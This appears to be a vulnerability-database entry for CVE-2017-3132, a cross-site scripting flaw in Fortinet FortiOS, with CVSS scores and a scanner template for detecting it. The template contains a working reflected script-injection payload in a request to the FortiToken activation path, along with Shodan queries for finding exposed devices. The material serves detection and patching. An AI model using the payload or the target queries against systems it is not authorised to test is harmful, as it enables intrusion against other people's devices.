CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.
id: CVE-2017-3132
info:
name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.
impact: |
Successful exploitation could lead to execution of malicious javascript.
remediation: |
Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
reference:
- https://www.exploit-db.com/exploits/42388
- https://nvd.nist.gov/vuln/detail/CVE-2017-3132
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-3132
cwe-id: CWE-79
epss-score: 0.00046
epss-percentile: 0.15636
cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
metadata:
vendor: fortinet
product: fortios
shodan-query:
- http.html:"/remote/login" "xxxxxxxx"
- http.favicon.hash:945408572
- cpe:"cpe:2.3:o:fortinet:fortios"
tags: cve,cve2017,fortinet,fortios,xss
http:
- method: GET
path:
- "{{BaseURL}}/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "var action = '</script><script>alert(document.domain)</script><script>"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502205490abb80aa2fec9bba2ea1b88e196139ba9b5b6014e0120c43cb4f8dbef81c0022100d155a188cbc60a02de58fa624da9168fb41e823826f36711b7b1e154dd6d560c:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High